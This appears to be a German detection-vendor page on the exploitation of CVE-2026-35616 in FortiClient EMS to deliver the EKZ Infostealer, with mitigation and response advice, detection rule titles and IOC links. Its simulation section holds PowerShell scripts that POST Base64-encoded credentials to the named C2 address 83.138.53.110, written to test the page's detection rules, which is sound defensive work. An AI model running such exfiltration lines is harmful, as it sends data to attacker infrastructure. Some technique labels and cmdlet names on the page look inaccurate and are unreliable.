FortiClient EMS über CVE-2026-35616 ausgenutzt, um EKZ Infostealer getarnt als Fortinet-Patch zu liefern
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
Arctic Wolf hat eine Kampagne identifiziert, die ausgenutzt hat CVE-2026-35616 in FortiClient EMS, um ein bösartiges PowerShell-Skript auf verwaltete Endpunkte zu verteilen. Dieses Skript rief eine als legitimer Fortinet-Patch getarnte Nutzlast ab und startete sie zum Stehlen von Anmeldedaten, bekannt als EKZ Infostealer. Die Malware sammelte Passwörter, Cookies und Autovervollständigungsinformationen der Browser und exfiltrierte die gestohlenen Daten über HTTP. Indem die Angreifer die vertrauenswürdigen EMS-Konfigurationskanäle ausnutzten, konnten sie die Nutzlast schnell auf mehreren verwalteten Geräten ausführen.
Untersuchung
Forscher rekonstruierten den Exploit, indem sie speziell präparierte, nicht authentifizierte HTTP-Anfragen an die FortiClient EMS-APIs sendeten, was zu Konfigurationsänderungen führte, die bösartige Skripte einfügten. Ausführungsspuren zeigten fortitray.exe or ipsec.exe , die cmd.exestarteten, was wiederum einen Base64-codierten PowerShell-Befehl ausführte, der p.exe von einer bösartigen IP-Adresse herunterlud. Die Nutzlast schrieb eine log.txt Datei nach ProgramData, sendete die erfassten Daten zurück an denselben Server und löschte sich dann selbst.
Minderung
Organisationen sollten FortiClient EMS auf eine Version aktualisieren, die CVE-2026-35616 behebt und den API-Zugriff auf genehmigte Quell-IP-Adressen beschränken. Verteidiger sollten auch EMS-Protokolle auf zertifikatsbezogene Fehler und unerwartete Änderungen in Remote Access Profiles überprüfen. Ausgehender HTTP-Verkehr von Endpunkten zu unbekannten IP-Adressen sollte blockiert werden, und die Skriptausführung innerhalb von VPN-Profil-Workflows sollte durch minimale Rechtekontrollen eingeschränkt werden.
Reaktion
Wird diese Aktivität festgestellt, sollten betroffene Hosts sofort isoliert, unautorisierte EMS-Konten, die möglicherweise erstellt wurden, widerrufen und bösartige Skriptdateien aus dem FortiClient-Protokollverzeichnis entfernt werden. Ermittler sollten das log.txt Artefakt bewahren, Hashes für die bösartigen Binärdateien berechnen und nach übereinstimmenden Indikatoren in der Umgebung suchen. Ausgesetzte Browser-Anmeldedaten sollten zurückgesetzt und Teams sollten auf verdächtige Authentifizierungsaktivitäten achten, die dem Diebstahl folgen könnten.
Angriffsfluss
Erkennungen
Kurzer Dateiname (via cmdline)
Ansehen
Verdächtige CURL-Nutzung (via cmdline)
Ansehen
Verdächtige .NET-Methodenaufrufe von Powershell (via powershell)
Ansehen
Mögliche Bits Transfer-Aktivität (via powershell)
Ansehen
IOC’s (HashSha256) zur Erkennung: FortiClient EMS mittels CVE-2026-35616 ausgenutzt, um EKZ Infostealer als Fortinet Patch getarnt zu liefern
Ansehen
IOC’s (HashSha1) zur Erkennung: FortiClient EMS mittels CVE-2026-35616 ausgenutzt, um EKZ Infostealer als Fortinet Patch getarnt zu liefern
Ansehen
IOC’s (HashMd5) zur Erkennung: FortiClient EMS mittels CVE-2026-35616 ausgenutzt, um EKZ Infostealer als Fortinet Patch getarnt zu liefern
Ansehen
IOC’s (SourceIP) zur Erkennung: FortiClient EMS mittels CVE-2026-35616 ausgenutzt, um EKZ Infostealer als Fortinet Patch getarnt zu liefern
Ansehen
IOC’s (DestinationIP) zur Erkennung: FortiClient EMS mittels CVE-2026-35616 ausgenutzt, um EKZ Infostealer als Fortinet Patch getarnt zu liefern
Ansehen
EKZ Infostealer Anmeldedaten-Exfiltration via HTTP POST [Windows Netzwerkverbindung]
Ansehen
FortiClient EMS mittels CVE-2026-35616 ausgenutzt, um EKZ Infostealer zu liefern [Windows Prozess-Erstellung]
Ansehen
PowerShell-Ausführung über FortiClient zur Lieferung von EKZ Infostealer [Windows Powershell]
Ansehen
Simulation der Ausführung
Voraussetzung: Die Telemetrie- & Basislinien-Vorfluganalyse muss bestanden haben.
Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der Angreifertechniken (TTP), die zur Auslösung der Erkennungsregel führen. Die Befehle und die Erzählung MÜSSEN die identifizierten TTPs direkt widerspiegeln und darauf abzielen, die von der Erkennung erwartete exakte Telemetrie zu generieren. Abstrakte oder nicht verwandte Beispiele führen zu Fehldiagnosen.
-
Angriffsnarrativ & Befehle:
Der Angreifer hat zuvor Anmeldedaten aus der Windows-Registry (Familie T1216) mit EKZ Infostealer gewonnen. Um den gesammelten Blob zu exfiltrieren, startet die Malware eine PowerShell-Einzeiler, die die Base64-codierten Anmeldedaten zu ihrem Command-and-Control-Server bei83.138.53.110postet. Die Verwendung von PowerShell (Invoke-WebRequest) ist eine klassische Technik des „Living off the Land“, die binäre-basierte Erkennungen umgeht, während sie dennoch Netzwerktelemetrie erzeugt, die von der Firewall beobachtet werden kann.powershell # Simulierte Anmeldedaten-Nutzlast (Base64 von "user:pass") $payload = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes("administrator:Password123!")) $uri = "http://83.138.53.110/collect" Invoke-WebRequest -Uri $uri -Method POST -Body $payload -ContentType "application/x-www-form-urlencoded" -
Regressionstest-Skript: Dieses eigenständige PowerShell-Skript reproduziert den Exfiltration-Schritt und kann für zukünftige Regressionen erneut ausgeführt werden.
powershell <# .SYNOPSIS EKZ Infostealer Anmeldedaten-Exfiltrationssimulation (HTTP POST). .DESCRIPTION Erzeugt einen gefälschten Anmeldedaten-Blob, kodiert diesen und postet ihn an die bekannte bösartige IP, die in der Erkennungsregel verwendet wird. .NOTES Erfordert zulässigen ausgehenden HTTP-Verkehr zu 83.138.53.110 auf Port 80. #> # ---- Vorbereitung ---- $creds = "admin_user:SuperSecret!" $b64 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($creds)) $target = "http://83.138.53.110/collect" # ---- Ausführung ---- try { Write-Host "[*] Sende Anmeldedaten-Blob an $target ..." $resp = Invoke-WebRequest -Uri $target -Method POST -Body $b64 -ContentType "application/x-www-form-urlencoded" -UseBasicParsing Write-Host "[+] HTTP-Status:" $resp.StatusCode } catch { Write-Error "[-] POST fehlgeschlagen: $_" } # ---- Ende des Skripts ---- -
Bereinigungsbefehle: Es werden keine dauerhaften Artefakte auf der Festplatte erstellt, aber um gründlich zu sein, schließen wir alle verbleibenden Webanfrage-Sitzungen und löschen die PowerShell-Variable.
powershell # Variablen bereinigen und alle offenen Web-Sitzungen schließen Remove-Variable -Name creds,b64,target -ErrorAction SilentlyContinue if (Get-Command -Name Remove-WebRequestSession -ErrorAction SilentlyContinue) { Remove-WebRequestSession -All } Write-Host "[*] Bereinigung abgeschlossen."